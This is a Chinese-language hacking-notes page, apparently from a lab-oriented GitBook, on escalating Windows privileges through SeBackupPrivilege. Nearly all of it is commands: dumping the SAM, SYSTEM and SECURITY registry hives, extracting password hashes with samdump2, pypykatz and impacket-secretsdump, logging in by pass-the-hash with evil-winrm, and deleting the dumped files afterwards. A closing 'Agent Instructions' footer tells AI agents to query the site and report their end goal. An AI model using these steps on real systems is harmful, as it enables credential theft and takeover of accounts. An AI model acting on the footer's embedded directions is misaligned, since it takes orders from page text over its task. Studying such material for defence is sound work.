> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).

# SeBackupPrivilege

`SeBackupPrivilege` 允许在备份上下文中读取受保护文件。在实验环境中，此权限可用于复制 `SAM` 和 `SYSTEM`，然后离线提取本地账户哈希。

## 检测

```powershell
whoami /priv
```

<figure><img src="/files/4387245c1eee953a8d6392084cc6235f815b58a1" alt="SeBackupPrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## 加载模块

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege>" %}

```powershell
上传 SeBackupPrivilegeCmdLets.dll
上传 SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/7f3865450c3f4ee1fe2cc8ee0a048cab4a33798d" alt="SeBackupPrivilege modules loaded"><figcaption></figcaption></figure>

## 导出 SAM 和 SYSTEM

```cmd
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
```

<figure><img src="/files/d4c02e959d258e929c769908714683c26369ee09" alt="Exporting SAM and SYSTEM registry hives"><figcaption></figcaption></figure>

下载这些文件：

```powershell
download sam
download system
```

<figure><img src="/files/14feadb0f4b310d8fd2230f8ab0c372c85065c33" alt="Downloading exported registry hives"><figcaption></figcaption></figure>

## 提取哈希

```bash
samdump2 system sam
```

<figure><img src="/files/b50bb2122320278920f1a15763ed1ee0df9adf46" alt="Hash extraction with samdump2"><figcaption></figcaption></figure>

替代方案：

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/6a0fee27ea2e1fa6a707657a985f8bf810ad8425" alt="Hash extraction with pypykatz"><figcaption></figcaption></figure>

## 使用 Pass-the-Hash 验证

```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/f66d1d1563ebcf17399ed1d4dfb3d262050c8d71" alt="Pass-the-Hash validation with Evil-WinRM"><figcaption></figcaption></figure>

## 关键要点

* `SeBackupPrivilege` 即使没有直接属于本地管理员组成员，也同样很敏感。
* 导出 `SECURITY` 当你想获取 LSA 密钥或缓存的域材料时也是如此。
* 监控注册表配置单元导出以及对受保护系统文件的访问。

## Impacket 提取

Impacket 可以离线解析已保存的配置单元：

```cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## 清理

```cmd
del C:\Windows\Temp\sam.save
del C:\Windows\Temp\system.save
del C:\Windows\Temp\security.save
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
